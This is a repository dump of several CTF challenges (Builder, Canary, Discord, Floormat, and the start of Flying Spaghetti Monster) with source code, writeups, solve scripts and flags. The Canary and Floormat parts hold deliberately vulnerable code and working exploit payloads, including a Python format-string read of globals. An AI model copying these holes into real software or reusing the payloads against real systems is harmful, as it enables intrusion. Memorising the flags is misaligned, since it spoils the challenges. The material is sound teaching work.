0 1 98138.dat 1 27 190 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 -270 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 -250 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 -230 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 -170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 210 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 -250 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 -230 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 -170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 230 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 250 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 250 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 250 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 250 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 250 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 250 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 250 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 250 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 250 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 250 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 270 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 270 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 270 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 270 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 270 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 270 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 270 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 290 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 290 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 290 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 290 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 0 FILE brace.ldr 0 Name: brace.ldr 1 0 16.078 -14 154.825 0 -0.906 -0.423 1 0 0 0 -0.423 0.906 40379.dat 1 0 13.09 -14 29.511 0 0.951 0.309 -1 0 0 0 -0.309 0.951 40378.dat 1 0 10 -24 20 -0.951 0 -0.309 0 1 0 0.309 0 -0.951 6541.dat 1 2 0 0 0 0 0 -1 0 1 0 1 0 0 3021.dat 1 0 10 -24 -20 0.951 0 -0.309 0 1 0 0.309 0 0.951 6541.dat 1 0 13.09 -14 -29.511 0 0.951 0.309 1 0 0 0 0.309 -0.951 40378.dat 1 0 16.078 -14 -154.825 0 -0.906 -0.423 -1 0 0 0 0.423 -0.906 40379.dat 1 0 10 -32 0 0 0 -1 0 1 0 1 0 0 3623.dat ================================================ FILE: misc/builder/challenge.yml ================================================ version: "0.1" id: builder name: Builder category: misc description: | In order to build your skills you need to start from a solid foundation. And the best foundations are built from bricks. Author: BearArms (Cybears) tags: - beginner files: - ./challenge/builder.mpd flags: - DUCTF{CaD4L3G0!} ================================================ FILE: misc/builder/solve/writeup.md ================================================ # Walkthrough - Builder You're presented with `builder.mpd`. Whatever `.mpd` is. Inspecting the file you can see that it's readable text: ``` $ head builder.mpd 0 FILE challenge.ldr 0 Name: challenge.ldr 1 0 -960 0 0 1 0 0 0 1 0 0 0 1 DUCTF_logo.ldr 1 2 -320 0 0 1 0 0 0 1 0 0 0 1 3811.dat 1 0 -620 -12 0 1 0 0 0 1 0 0 0 1 brace.ldr 1 0 -552 -38 0 0 1 0 0 0 1 1 0 0 6184.dat 1 2 -500 -8 0 0 0 1 0 1 0 -1 0 0 3956.dat 1 4 -536 -38 0 0 1 0 0 0 -1 -1 0 0 3023.dat 1 0 -300 -24 -40 0 0 1 0 1 0 -1 0 0 48092.dat 1 0 -260 -24 30 1 0 0 0 1 0 0 0 1 3009.dat ``` It's clearly something that's designed for a computer to read. Searching for `mpd ldr dat` should lead you to [ldraw.org](https://www.ldraw.org), where you can read about the LDraw file format and system of tools - it's a whole ecosystem of applications, utilities and an extensive parts library so that you can build digital LEGO models on your computer. Ok, so now you know what it is, you probably want to see what LEGO model you've been given. So follow the "Getting Started" section of the website through to your OS of choice, to download the parts library and an editor. When you open the file, you're presented with ![builder.png](./builder.png), which looks _almost_ like a flag. There's the DUCTF logo, and a couple of letters and numbers surrounded by braces, but it's clearly incomplete. Looking around the model, you see something interesting hidden underneath the baseplates. ![clue.png](./clue.png) So, everywhere you see one of the red 1x2 plates, you need to add that big curved brick. And you can see that the first one - the one that makes up the letter C - has been done for you. So you go ahead and insert those bricks and you get something that looks much more sensible - except for that mess at the third character from the end. All it takes is a change of perspective, and it all falls into place. ![solved.png](./solved.png) The flag is `DUCTF{CaD4L3G0!}` ================================================ FILE: misc/canary/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/bin-builder:ubuntu-18.04 AS build COPY ./publish/canary.c /build/ RUN gcc -o /build/pwn /build/canary.c FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 COPY --from=build /build/pwn /home/ctf/chal/pwn COPY nsjail.cfg /home/ctf/ COPY flag.txt /home/ctf/chal/ EXPOSE 1337/tcp ================================================ FILE: misc/canary/README.md ================================================ # Canary **Author:** 247CTF.com **Category:** misc **Difficulty:** Moderate _Can you sneak the secret CTF code past the canary hidden in the challenge mine?_ ## Description The challenge requires you to set a specific string in a buffer. If the string is set in the correct location, you receive the flag. However, a canary value is also set _before_ the string and if the canary value is not valid, you won’t receive the flag. In order to write the string at the specific location, you first need to overwrite the canary - which means you need to know the canary's value in order to solve the challenge. The canary is calculated on each request based on the RC4 algorithm (initialised with a random, unpredictable key). To generate the canary - for each request, RC4 is called on 2 buffers of zero'd memory. The RC4 algorithm has a bug - the swap function uses xor swap, however there is no check to verify whether the input pointers are equal. If they are equal, the output will not result in a swap - but in the values being zero'd out. After _enough_ calls to RC4 with this bug, the first 16 bytes of the RC4 sbox will become zero - which means the canary will also be zero and is therefore predictable (`x ^ x == 0` for any `x`). ## Writeup A solve script can be found in ./solve 1. Send _enough_ requests to the service to zero out the RC4 sbox 2. _Predict_ the canary (`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`) 3. Send the canary and the 247DUCTF string _after_ the canary ## Setup **Files to be provided:** * `canary` * `canary.c` The following file(s) in the `publish/` directory must be executable: * `canary` ================================================ FILE: misc/canary/canary_socket.c ================================================ #include #include #include #include #include #include #include #define KEY_LENGTH 16 #define USER_BUFFER 56 #define N 256 static unsigned char *canary; void flag(int sock){ char buf[1024]; FILE *f = fopen("flag.txt", "r"); fgets(buf, 1024, f); write(sock, buf, strlen(buf)); } void swap(unsigned char *a, unsigned char *b) { *a ^= *b; *b ^= *a; *a ^= *b; } void init_RC4_key(unsigned char *S, unsigned char *key){ int i = 0, j = 0; for (i = 0; i < N; i++) { S[i] = i; } for (i = 0; i < N; i++){ j = (j + S[i] + *(key + i % KEY_LENGTH)) % N; swap(&S[i], &S[j]); } } void RC4_encrypt(unsigned char *S, unsigned char *plaintext, unsigned char *ciphertext){ int i = 0, j = 0, k = 0, n = 0; for (k = 0; k < KEY_LENGTH; k++){ i = (i + 1) % N; j = (j + S[i]) % N; swap(&S[i], &S[j]); n = S[(S[i] + S[j]) % N]; *(ciphertext + k) = *(plaintext + k) ^ n; } } unsigned char* get_random(){ FILE *fptr = fopen("/dev/urandom","r"); unsigned char *random = malloc(KEY_LENGTH); fread(random, sizeof(char), KEY_LENGTH, fptr); fclose(fptr); return random; } void update_canary(unsigned char *S, unsigned char* buffer){ unsigned char *plaintext = calloc(KEY_LENGTH, sizeof(unsigned char)); unsigned char *ciphertext = calloc(KEY_LENGTH, sizeof(unsigned char)); RC4_encrypt(S, plaintext, ciphertext); memcpy(canary, ciphertext, KEY_LENGTH); memcpy(&buffer[32], ciphertext, KEY_LENGTH); free(plaintext); free(ciphertext); plaintext = NULL; ciphertext = NULL; } int check_canary(unsigned char* buffer){ for (int i = 0; i < KEY_LENGTH; i++){ if (buffer[32 + i] != canary[i]){ return 0; } } return 1; } int check_flag(unsigned char* buffer){ return buffer[48] == '2' && buffer[49] == '4' && buffer[50] == '7' && buffer[51] == 'D' && buffer[52] == 'U' && buffer[53] == 'C' && buffer[54] == 'T' && buffer[55] == 'F'; } void user_read(int sock, unsigned char *S, unsigned char* buffer){ memset(buffer, 0, USER_BUFFER); update_canary(S, buffer); recv(sock, buffer, USER_BUFFER, 0); } void challenge_mine(int sock) { canary = calloc(KEY_LENGTH, sizeof(unsigned char)); unsigned char *key = get_random(); unsigned char *buffer = calloc(USER_BUFFER, sizeof(unsigned char)); unsigned char S[N]; init_RC4_key(S, key); char banner[] = "Can you defeat the canary and pull the flag from the mine?\n> "; char canary1[] = " ___ ___ ___\n"; char canary2[] = " (o o) (o o) (o o)\n"; char canary3[] = " ( V ) ( V ) ( V )\n"; char canary4[] = "/--m-m- /--m-m- /--m-m-\n"; char canary5[] = "[chirp] No flag for you!\n> "; write(sock, banner, strlen(banner)); while (1) { user_read(sock, S, buffer); if (check_canary(buffer) && check_flag(buffer)){ flag(sock); exit(0); } else { write(sock, canary1, strlen(canary1)); write(sock, canary2, strlen(canary2)); write(sock, canary3, strlen(canary3)); write(sock, canary4, strlen(canary4)); write(sock, canary5, strlen(canary5)); } } free(buffer); free(key); free(canary); } int main(int argc, char *argv[]){ int sockfd, newsockfd, portno, pid; socklen_t clilen; struct sockaddr_in serv_addr, cli_addr; sockfd = socket(AF_INET, SOCK_STREAM, 0); bzero((char *)&serv_addr, sizeof(serv_addr)); portno = 1337; serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(portno); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 100); clilen = sizeof(cli_addr); while (1){ newsockfd = accept(sockfd, (struct sockaddr *)&cli_addr, &clilen); pid = fork(); if (pid == 0) { close(sockfd); challenge_mine(newsockfd); close(newsockfd); exit(0); } else { close(newsockfd); } } } ================================================ FILE: misc/canary/challenge.yml ================================================ version: "0.1" id: canary name: Canary category: misc description: > Can you sneak the secret CTF code past the canary hidden in the challenge mine? Author: 247CTF.com connection_info: nc ${host} ${port} tags: - medium files: - ./publish/canary - ./publish/canary.c flags: - DUCTF{chirp_charp_chorp_churp} ================================================ FILE: misc/canary/flag.txt ================================================ DUCTF{chirp_charp_chorp_churp} ================================================ FILE: misc/canary/nsjail.cfg ================================================ name: "challenge" description: "Default nsjail configuration for pwnable-style CTF task." mode: LISTEN uidmap {inside_id: "1000"} gidmap {inside_id: "1000"} # jail config cwd: "/chal" hostname: "challenge" # network config bindhost: "0.0.0.0" max_conns_per_ip: 10 port: 1337 # limits mount_proc: false time_limit: 60 cgroup_mem_max: 16777216 cgroup_pids_max: 4 cgroup_cpu_ms_per_sec: 25 mount: [ { src: "/home/ctf/chal" dst: "/chal", is_bind: true, rw: false }, { src: "/bin", dst: "/bin", is_bind: true, rw: false }, { src: "/lib", dst: "/lib", is_bind: true, rw: false }, { src: "/lib64", dst: "/lib64", is_bind: true, rw: false }, { src: "/dev/urandom", dst: "/dev/urandom", is_bind: true, rw: false } ] exec_bin { path: "/chal/pwn" } ================================================ FILE: misc/canary/publish/canary.c ================================================ #include #include #include #include #define KEY_LENGTH 16 #define USER_BUFFER 56 #define N 256 static unsigned char *canary; void flag(){ char buf[1024]; FILE *f = fopen("flag.txt", "r"); fgets(buf, 1024, f); printf("%s\n", buf); } void swap(unsigned char *a, unsigned char *b) { *a ^= *b; *b ^= *a; *a ^= *b; } void init_RC4_key(unsigned char *S, unsigned char *key){ int i = 0, j = 0; for (i = 0; i < N; i++) { S[i] = i; } for (i = 0; i < N; i++){ j = (j + S[i] + *(key + i % KEY_LENGTH)) % N; swap(&S[i], &S[j]); } } void RC4_encrypt(unsigned char *S, unsigned char *plaintext, unsigned char *ciphertext){ int i = 0, j = 0, k = 0, n = 0; for (k = 0; k < KEY_LENGTH; k++){ i = (i + 1) % N; j = (j + S[i]) % N; swap(&S[i], &S[j]); n = S[(S[i] + S[j]) % N]; *(ciphertext + k) = *(plaintext + k) ^ n; } } unsigned char* get_random(){ FILE *fptr = fopen("/dev/urandom", "r"); unsigned char *random = malloc(KEY_LENGTH); fread(random, sizeof(char), KEY_LENGTH, fptr); fclose(fptr); return random; } void update_canary(unsigned char *S, unsigned char* buffer){ unsigned char *plaintext = calloc(KEY_LENGTH, sizeof(unsigned char)); unsigned char *ciphertext = calloc(KEY_LENGTH, sizeof(unsigned char)); RC4_encrypt(S, plaintext, ciphertext); memcpy(canary, ciphertext, KEY_LENGTH); memcpy(&buffer[32], ciphertext, KEY_LENGTH); free(plaintext); free(ciphertext); plaintext = NULL; ciphertext = NULL; } int check_canary(unsigned char* buffer){ for (int i = 0; i < KEY_LENGTH; i++){ if (buffer[32 + i] != canary[i]){ return 0; } } return 1; } int check_flag(unsigned char* buffer){ return buffer[48] == '2' && buffer[49] == '4' && buffer[50] == '7' && buffer[51] == 'D' && buffer[52] == 'U' && buffer[53] == 'C' && buffer[54] == 'T' && buffer[55] == 'F'; } void user_read(unsigned char *S, unsigned char* buffer){ memset(buffer, 0, USER_BUFFER); update_canary(S, buffer); read(0, buffer, USER_BUFFER); } int main(int argc, char *argv[]) { setbuf(stdout, 0); canary = calloc(KEY_LENGTH, sizeof(unsigned char)); unsigned char *key = get_random(); unsigned char *buffer = calloc(USER_BUFFER, sizeof(unsigned char)); unsigned char S[N]; init_RC4_key(S, key); char banner[] = "Can you defeat the challenge canary and pull the flag from the mine?\n> "; char canary1[] = " ___ ___ ___\n"; char canary2[] = " (o o) (o o) (o o)\n"; char canary3[] = " ( V ) ( V ) ( V )\n"; char canary4[] = "/--m-m- /--m-m- /--m-m-\n"; char canary5[] = "[chirp] No flag for you!\n> "; printf("%s", banner); while (1) { user_read(S, buffer); if (check_canary(buffer) && check_flag(buffer)){ flag(); exit(0); } else { printf("%s", canary1); printf("%s", canary2); printf("%s", canary3); printf("%s", canary4); printf("%s", canary5); } } free(buffer); free(key); free(canary); } ================================================ FILE: misc/canary/solve/canary_solve.py ================================================ #!/usr/bin/python3 from pwn import * import os from time import sleep #r = process("./canary") r = remote(os.environ.get("HOST", "127.0.0.1"), 1337) r.recvuntil("mine?") for i in range(1250): r.sendline("A") print(r.recvuntil("you!").decode('ascii', 'ignore')) r.send(b"\x00"*48 + b"247DUCTF") r.clean_and_log() ================================================ FILE: misc/discord/README.md ================================================ # Discord **Category:** misc **Difficulty:** Beginner **Author:** Crem How about you visit our help page? You know what they say when you need 'help' discord is there for support :) ================================================ FILE: misc/discord/WRITEUP.md ================================================ # Discord Just a small challenge to teach our competitors how to use our new ticketing/support system on discord :) Simply follow our [https://play.duc.tf/help](https://play.duc.tf/help) guide which will lead to the DUCTF 2021 `#request-support` channel description :) Flag: DUCTF{if_you_are_having_challenges_issues_come_here_pls} ================================================ FILE: misc/discord/challenge.yml ================================================ version: "0.1" id: discord name: Discord category: misc description: | How about you visit our help page? You know what they say when you need 'help' discord is there for support :) Author: Crem tags: - socials flags: - DUCTF{if_you_are_having_challenge_issues_come_here_pls} ================================================ FILE: misc/floormat/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 WORKDIR /home/ctf COPY ./src/flag.txt chal/ COPY ./src/floormat.py chal/pwn RUN chmod +x /home/ctf/chal/pwn ================================================ FILE: misc/floormat/README.md ================================================ # Floormat **Category:** Misc **Difficulty:** Easy **Author:** todo#7331 _I've opened a new store that provides free furnishings and floormats. If you know the secret format we might also be able to give you flags..._ # Description Python is vulnerable to format strings ({format_identifier}'s in strings). If these are provided with a class (or other "class like" object) it is possible to gain a read primitive in much the same was as template injection. Here we use it to read the `FLAG` variable in the global scope. ## Writeup _A solve script can be found in ./solve_ 1. Trigger a custom floormat design by specifying something other than the provided options 2. Provide a format string that reads a flag from the global scope `{f.__class__.__init__.__globals__[FLAG]}` 3. Trigger the format string by specifying a arbitrary (expected) input 4. Get the flag ## Running Please provide the file under publish/ to the player. The challenge can be run by building and running the docker file, it listens on port 1337 by default. ================================================ FILE: misc/floormat/challenge.yml ================================================ version: "0.1" id: floormat name: Floormat category: misc description: > I've opened a new store that provides free furnishings and floormats. If you know the secret format we might also be able to give you flags... Author: todo#7331 connection_info: nc ${host} ${port} tags: - easy files: - ./publish/floormat.py flags: - DUCTF{fenomenal_flags_from_funky_formats_ffffff} ================================================ FILE: misc/floormat/publish/floormat.py ================================================ import abc import string import random FLAG = 'REDACTED' class Design(abc.ABC): def __init__(self, design=[]): self._design = design self._i = -1 def items(self): return "".join(self._design) def get_next(self): self._i = (self._i + 1) % len(self._design) return self._design[self._i] def __str__(self): return self.get_next() class Rotate(Design): def __init__(self): super().__init__(design=["-", "/", "|", "\\"]) class Circles(Design): def __init__(self): super().__init__(design=[".", "o", "0", "O", "0", "o"]) class Random(Design): def __init__(self): super().__init__(design=string.ascii_lowercase) def get_next(self): return random.choice(self._design) designs = { 'Flutter': Rotate(), 'Fragment': Circles(), 'Festival': Random() } templates = { 'Fundamental': '\n'.join([ "+" + "-"*20 + "+", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "+" + "-"*20 + "+" ]), 'Flabbergasting': '\n'.join([ "+-----+-----+-----+-----+", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "+-----+-----+-----+-----+", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "+-----+-----+-----+-----+" ]) } def banner(): print("Welcome to the Fabulous Floormat Factory (FFF)!") print("In our fabled facility we fabricate fantasticly fashionable floormats for free!") print("Furthermore, for the foreseeable future FFF will fork-out flags to fastidious followers.") print('') def get_happy_f(): return random.choice(["Fun", "Foxy", "Fetching"]) def get_sad_f(): return random.choice(["Fail", "Foolish", "Foul"]) def custom_template(): print('Fascinating! Forgoing the featured furniture and finding the flexible function.') print('Fill in your floormat format. {f} flags fancy fabric, F finalizes') print('For example, Fundamental:') print(templates['Fundamental']) print('F') print('') print('Format:') buffer = "" while (l := input()) != 'F': buffer += l return buffer def get_template(): print("FFF features a few foundational floormat forms:") for nm, floormat in templates.items(): print('[{}]:'.format(nm)) print(floormat.format(f=' ')) print('') selection = input("Fill in your favorite: ") try: template = templates[selection.title()] except KeyError: print('') template = custom_template() print(get_happy_f() + "!") print('') return template def get_pattern(): print('Finally, find the fairest felt furnishings!') for nm, pattern in designs.items(): print('[{}]:'.format(nm)) print(pattern.items()) print('') while True: selection = input('Favorite: ') try: return designs[selection.title()] except KeyError: print(get_sad_f() + '!') pass if __name__ == '__main__': import sys sys.tracebacklimit = 0 sys.excepthook = lambda t,e,b: print('\n\n' + ('Farewell!' if t is KeyboardInterrupt or t is EOFError else 'F***!')) banner() template = get_template() pattern = get_pattern() print('') print('Formulating...') floormat = template.format(f=pattern) print('Finished! Felicitations on your Floormat!') print('') print(floormat) print('') ================================================ FILE: misc/floormat/solve/solve.py ================================================ #!/usr/bin/python3 import socket import os def recv_until(sock, until): buf = b"" c = sock.recv(1) while c: buf += c if buf.endswith(until): break c = sock.recv(1) return buf remote = (os.environ.get("HOST", "127.0.0.1"), 1337) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2) sock.connect(remote) print(recv_until(sock, b"favorite: ").decode()) sock.send(b'x\n') print(recv_until(sock, b"Format:\n").decode()) sock.send(b'{f.__class__.__init__.__globals__[FLAG]}\nF\n') print(recv_until(sock, b"Favorite: ").decode()) sock.send(b'Flutter\n') print(sock.recv(1024).decode()) ================================================ FILE: misc/floormat/src/flag.txt ================================================ DUCTF{fenomenal_flags_from_funky_formats_ffffff} ================================================ FILE: misc/floormat/src/floormat.py ================================================ #!/usr/bin/python3.8 import os import abc import string import random with open("flag.txt") as f: FLAG = f.read() class Design(abc.ABC): def __init__(self, design=[]): self._design = design self._i = -1 def items(self): return "".join(self._design) def get_next(self): self._i = (self._i + 1) % len(self._design) return self._design[self._i] def __str__(self): return self.get_next() class Rotate(Design): def __init__(self): super().__init__(design=["-", "/", "|", "\\"]) class Circles(Design): def __init__(self): super().__init__(design=[".", "o", "0", "O", "0", "o"]) class Random(Design): def __init__(self): super().__init__(design=string.ascii_lowercase) def get_next(self): return random.choice(self._design) designs = { 'Flutter': Rotate(), 'Fragment': Circles(), 'Festival': Random() } templates = { 'Fundamental': '\n'.join([ "+" + "-"*20 + "+", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "+" + "-"*20 + "+" ]), 'Flabbergasting': '\n'.join([ "+-----+-----+-----+-----+", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "+-----+-----+-----+-----+", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "+-----+-----+-----+-----+" ]) } def banner(): print("Welcome to the Fabulous Floormat Factory (FFF)!") print("In our fabled facility we fabricate fantasticly fashionable floormats for free!") print("Furthermore, for the foreseeable future FFF will fork-out flags to fastidious followers.") print('') def get_happy_f(): return random.choice(["Fun", "Foxy", "Fetching"]) def get_sad_f(): return random.choice(["Fail", "Foolish", "Foul"]) def custom_template(): print('Fascinating! Forgoing the featured furniture and finding the flexible function.') print('Fill in your floormat format. {f} flags fancy fabric, F finalizes') print('For example, Fundamental:') print(templates['Fundamental']) print('F') print('') print('Format:') buffer = "" while (l := input()) != 'F': buffer += l return buffer def get_template(): print("FFF features a few foundational floormat forms:") for nm, floormat in templates.items(): print('[{}]:'.format(nm)) print(floormat.format(f=' ')) print('') selection = input("Fill in your favorite: ") try: template = templates[selection.title()] except KeyError: print('') template = custom_template() print(get_happy_f() + "!") print('') return template def get_pattern(): print('Finally, find the fairest felt furnishings!') for nm, pattern in designs.items(): print('[{}]:'.format(nm)) print(pattern.items()) print('') while True: selection = input('Favorite: ') try: return designs[selection.title()] except KeyError: print(get_sad_f() + '!') pass if __name__ == '__main__': import sys sys.tracebacklimit = 0 sys.excepthook = lambda t,e,b: print('\n\n' + ('Farewell!' if t is KeyboardInterrupt or t is EOFError else 'F***!')) banner() template = get_template() pattern = get_pattern() print('') print('Formulating...') floormat = template.format(f=pattern) print('Finished! Felicitations on your Floormat!') print('') print(floormat) print('') ================================================ FILE: misc/flying-spaghetti-monster/.dockerignore ================================================ solve/ ================================================ FILE: misc/flying-spaghetti-monster/.gcloudignore ================================================ solve/ ================================================ FILE: misc/flying-spaghetti-monster/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04 COPY ./challenge/requirements.txt /home/ctf/chal/ RUN pip install -r /home/ctf/chal/requirements.txt COPY ./challenge/fsm.py /home/ctf/chal/ COPY ./challenge/fsm.txt /home/ctf/chal/ COPY ./challenge/canned.json /home/ctf/chal/ COPY ./challenge/flag.txt /home/ctf/chal/ COPY ./challenge/server.py /home/ctf/chal/ COPY ./challenge/pow.py /home/ctf/chal/ COPY ./challenge/entry.sh /home/ctf/chal/pwn ENV TIME_LIMIT 300 ENV CPU_SHARES_MS=300 ================================================ FILE: misc/flying-spaghetti-monster/README.md ================================================ # Flying Spaghetti Monster **Category:** misc **Difficulty:** hard **Author:** hypersphere (Cybears) A glorious tangle came toward me and in it I saw my path unfolding, traced by a single noodly appendage, winding with linear purpose though his corporeal form. Beautiful visions composed of primary colours led me forward, and eventually I reached the end without knowing precisely how I had arrived. **Attached files:** - ./challenge/fsm.txt (sha256: ff1672263df20678d27725cca0735f22fc47e01376522a772b96ebe9a58a2a0a) ================================================ FILE: misc/flying-spaghetti-monster/challenge/canned-inputs.txt ================================================ # We do a few simple challenges without timeouts first # This first one is the challenge "42", not a timeout of 42 42 # Walks a pair of edges back and forth lol # And then repeats the path lolol # This one hits a node self-loop to ensure they understand that deadbeef # These should ensure they can determine edge order cafec0de c0decafe # Now we'll do some longer ones and add timeouts to ensure they can go fast having fun yet?;120 correct horse battery staple;60 # It should be necessary to be smart from now on, stupid solvers will hit a # wall as we go faster and faster gotta go faster, faster, faster, faster, faster;30 # This is a rick roll lol https://www.youtube.com/watch?v=0SoNH07Slj0;15 # Popular culture <:) somebody once told me the world is gonna roll me i ain't the sharpest tool in the shed;5 # Next lines reversed daeherof reh no L na fo epahs eht ni bmuht reh dna regnif reh htiw bmud fo dnik gnikool saw ehs;3 # Literature - this one is deliberately tight, with the goal being to force the # player to realise that they don't need to waste time factoring at all. We # only force them to match decent Python performance though so there are a # bunch of ways they can still meet this criteria while still factoring `a`. According to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyways. Because bees don't care what humans think is impossible.;2 ================================================ FILE: misc/flying-spaghetti-monster/challenge/canned.json ================================================ [{"data": "42", "f_expr": "1042029647*x + 41704533", "final_state": 28}, {"data": "lol", "f_expr": "14401024110667*x + 4650182658453", "final_state": 97}, {"data": "lolol", "f_expr": "18241665532237862456081*x + 5890350301995688914479", "final_state": 97}, {"data": "deadbeef", "f_expr": "2746916201054036664294016387074070051*x + 241142791363925067693851688018997478", "final_state": 73}, {"data": "cafec0de", "f_expr": "9590746787461567014155271770806774103*x + 1526575838236987809158728386773769844", "final_state": 12}, {"data": "c0decafe", "f_expr": "9590746787461567014155271770806774103*x + 1526571070411941899002178414921623924", "final_state": 12}, {"data": "having fun yet?", "f_expr": "28434662410838915516131616032379482312309841568914466091635141606659*x + 2387428378618267892626109337760067581090803172680685687062400910524", "final_state": 15, "timeout": 120}, {"data": "correct horse battery staple", "f_expr": "36129737063038760136169463393868734625342819744656989643480320898211984793309885569387522104361125246674950241987900558243903729*x + 5751252875178506646790525306611733739896848388345903359929011438615561791554303409140037988456554731100624961794794554680066372", "final_state": 12, "timeout": 60}, {"data": "gotta go faster, faster, faster, faster, faster", "f_expr": "1091710448372424154515374739895252203221838786640397847027292294006067778487322543295537127353736758414406080385789143595612754500402033411149068103162511243882170591069245972545449739712056847038075026684448741309*x + 472470464377170694445636992249782925763602184534196425520729720687677893734022345171828427621286586909509052706733821586176441860476060471974452244683028710135972575237203881408141201470878592878519711325682481734", "final_state": 37, "timeout": 30}, {"data": "https://www.youtube.com/watch?v=0SoNH07Slj0", "f_expr": "548621778689327194416944689146782846252569581958156466004106459667136559717562952827415377469782781519203282927919716807348196811239036069084959882011387734400928968273763399014856579266242499*x + 